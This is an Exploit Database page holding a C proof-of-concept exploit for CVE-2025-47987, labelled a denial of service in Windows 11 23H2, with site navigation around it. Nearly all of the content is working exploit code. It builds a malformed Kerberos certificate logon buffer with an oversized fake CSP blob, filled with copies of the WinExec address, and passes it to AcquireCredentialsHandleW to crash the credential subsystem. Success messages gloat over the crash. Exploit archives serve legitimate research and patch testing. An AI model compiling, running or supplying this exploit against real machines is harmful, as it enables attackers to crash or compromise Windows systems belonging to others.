- What: Denial of Service vulnerability in Windows 11
- Impact: Users of affected versions
This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING Windows 11 23H2 - Denial of Service (DoS) EDB-ID: 52541 CVE: 2025-47987 EDB Verified: Author: TRYHARDERTRYH Type: LOCAL Exploit: / Platform: WINDOWS Date: 2026-04-30 Vulnerable App: # Exploit Title: Windows 11 23H2 - Denial of Service (DoS) # Google Dork: N/A # Date: 2025-08-22 # Exploit Author: Kryptoenix # Vendor Homepage: https://www.microsoft.com/ # Software Link: https://www.microsoft.com/en-us/software-download/windows11 # Version: Windows 11 23H2 # Tested on: Windows 11 23H2 (x64) # CVE: CVE-2025-47987 #define SECURITY_WIN32 #include <windows.h> #include <sspi.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <credssp.h> #include <stdint.h> #include <wchar.h> #pragma comment(lib, "secur32.lib") #define ALIGN_TO_8(x) (((x) + 7) & ~((size_t)7)) int BuildKerbCertLogonBuffer( const WCHAR* username, const WCHAR* domain, const WCHAR* password, const BYTE* certBlob, DWORD certBlobSize, BYTE** outBuffer, DWORD* outBufferSize) { if (!username || !domain || !password || !certBlob || !outBuffer || !outBufferSize) return -1; uint64_t usernameLen = (uint64_t)(wcslen(username) * sizeof(WCHAR)); uint64_t domainLen = (uint64_t)(wcslen(domain) * sizeof(WCHAR)); uint64_t passwordLen = (uint64_t)(wcslen(password) * sizeof(WCHAR)); size_t offsetUser = 0x48; // header is fixed 0x48 bytes size_t offsetPassword = offsetUser + ALIGN_TO_8(usernameLen); size_t offsetDomain = offsetPassword + ALIGN_TO_8(passwordLen); size_t offsetCert = offsetDomain + ALIGN_TO_8(domainLen); size_t totalSize = offsetCert + ALIGN_TO_8(certBlobSize); BYTE* buf = (BYTE*)malloc(totalSize); if (!buf) return -1; memset(buf, 0, totalSize); // 0x00: type *(uint64_t*)(buf + 0x00) = 13ULL; // username entry *(uint64_t*)(buf + 0x08) = usernameLen; *(uint64_t*)(buf + 0x10) = (uint64_t)offsetUser; // password entry *(uint64_t*)(buf + 0x18) = passwordLen; *(uint64_t*)(buf + 0x20) = (uint64_t)offsetPassword; // domain entry *(uint64_t*)(buf + 0x28) = domainLen; *(uint64_t*)(buf + 0x30) = (uint64_t)offsetDomain; // cert offset/size *(uint32_t*)(buf + 0x38) = (uint32_t)0x1337; // :) *(uint32_t*)(buf + 0x3C) = (uint32_t)certBlobSize; *(uint32_t*)(buf + 0x40) = (uint32_t)offsetCert; // payload copies memcpy(buf + offsetUser, username, usernameLen); memcpy(buf + offsetPassword, password, passwordLen); memcpy(buf + offsetDomain, domain, domainLen); memcpy(buf + offsetCert, certBlob, certBlobSize); printf("\nHeader of packed buffer (first 64 bytes):\n"); for (size_t i = 0; i < (totalSize < 64 ? totalSize : 64); ++i) { printf("%02x ", buf[i]); if ((i & 0x7) == 0x7) printf("\n"); } printf("\n"); *outBuffer = buf; *outBufferSize = (DWORD)totalSize; return 0; } BYTE* BuildFakeCspData( const char* str, size_t strLen, DWORD providerValue, // stored at header[5] DWORD* outSize) { if (!str) return NULL; size_t lenChars = strLen + 1; size_t stringBytes = lenChars; size_t headerBytes = 44; // 40-byte base + one DWORD offset size_t totalBytes = headerBytes + stringBytes; if (totalBytes < 0x30) totalBytes = 0x30; BYTE* buffer = (BYTE*)malloc(totalBytes); if (!buffer) return NULL; memset(buffer, 0, totalBytes); // header[5] = providerValue ((DWORD*)buffer)[5] = providerValue; // header[6] = offset for string (in bytes from start of data area) ((DWORD*)buffer)[6] = 0; // copy the string into the data area BYTE* stringArea = buffer + headerBytes; memcpy(stringArea, str, lenChars); printf("Header of CSP buffer (first 44 bytes):\n"); for (size_t i = 0; i < headerBytes; ++i) { printf("%02x ", buffer[i]); if ((i & 0x7) == 0x7) printf("\n"); } printf("\n\n"); if (outSize) *outSize = (DWORD)totalBytes; return buffer; } unsigned char* ptrToBytes(void* ptr, size_t* outLen) { size_t len = sizeof(void*); // 8 bytes unsigned char* buf = (unsigned char*)malloc(len); if (!buf) return NULL; memcpy(buf, &ptr, len); // copy pointer value into buffer if (outLen) *outLen = len; return buf; } unsigned char* BuildStringPattern(const unsigned char* pattern, size_t patLen, size_t repeatCount) { size_t totalLen = patLen * repeatCount; unsigned char* buf = (unsigned char*)malloc(totalLen); if (!buf) return NULL; // add padding for pointer allignment memset(buf, 0, 4); unsigned char* p = buf + 4; for (size_t i = 0; i < repeatCount; i++) { memcpy(p, pattern, patLen); p += patLen; } return buf; } wchar_t* BuildWideStringPattern(const wchar_t* pattern, size_t repeatCount) { if (!pattern || repeatCount == 0) return NULL; size_t patLen = wcslen(pattern); size_t totalLen = (patLen * repeatCount) + 1; wchar_t* buf = (wchar_t*)malloc(totalLen * sizeof(wchar_t)); if (!buf) return NULL; wchar_t* p = buf; // copy pattern repeatedly for (size_t i = 0; i < repeatCount; i++) { wmemcpy(p, pattern, patLen); p += patLen; } *p = L'\0'; return buf; } int main(void) { size_t addrLen; unsigned char* addrBytes = ptrToBytes((void*)WinExec, &addrLen); if (!addrBytes) { fprintf(stderr, "Failed to allocate address bytes.\n"); return 1; } size_t repeatCount = 0x1FFFFFE0; // 0xFFFFFF00 = 8 * 0x1FFFFFE0 unsigned char* hugeStr = BuildStringPattern(addrBytes, addrLen, repeatCount); if (!hugeStr) { fprintf(stderr, "Failed to allocate huge buffer.\n"); free(addrBytes); return 1; } DWORD fakeSize; printf("Building fake CSP buffer...\n\n"); BYTE* fakeCsp = BuildFakeCspData((const char *)hugeStr, 0xFFFFFF00, 0x18, &fakeSize); if (!fakeCsp) { wprintf(L"Allocation failed\n"); return 1; } wprintf(L"Built fake CSPDATA size=0x%X\n\n", fakeSize); //getchar(); SECURITY_STATUS status; CredHandle credHandle; TimeStamp expiry; const WCHAR* username = L"exampleusername"; const WCHAR* domain = L"exampledomain"; const WCHAR* password = L"examplepassexamplepassexamplepassexamplepassexamplepass"; BYTE* buf = NULL; DWORD bufSize = 0; printf("Building fake KerbCertLogonBuffer...\n"); if (BuildKerbCertLogonBuffer(username, domain, password, fakeCsp, fakeSize, &buf, &bufSize) != 0) { printf("Failed to build KerbCertLogonBuffer\n"); return 1; } printf("Trigerring the bug...\n"); status = AcquireCredentialsHandleW( NULL, (LPWSTR)L"TSSSP", // pszPackage (name of the security package) SECPKG_CRED_OUTBOUND, NULL, buf, // pAuthData (pointer to authentication data) NULL, NULL, &credHandle, &expiry ); if (status == SEC_E_OK) { printf("AcquireCredentialsHandle succeeded\n"); FreeCredentialsHandle(&credHandle); } else { if (status == SEC_E_INSUFFICIENT_MEMORY) { printf("Not enough memory to trigger the crash :(\n"); printf("[-] PoC failed!\n"); } else if (status == SEC_E_INTERNAL_ERROR) { printf("\n[+] PoC succeded! Enjoy the crash >:D\n"); } else { printf("AcquireCredentialsHandle failed! Error: 0x%x\n",status); printf("[-] PoC failed!\n"); } } if (buf) free(buf); if(hugeStr) free(hugeStr); if(fakeCsp) free(fakeCsp); return 0; } Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. All rights reserved.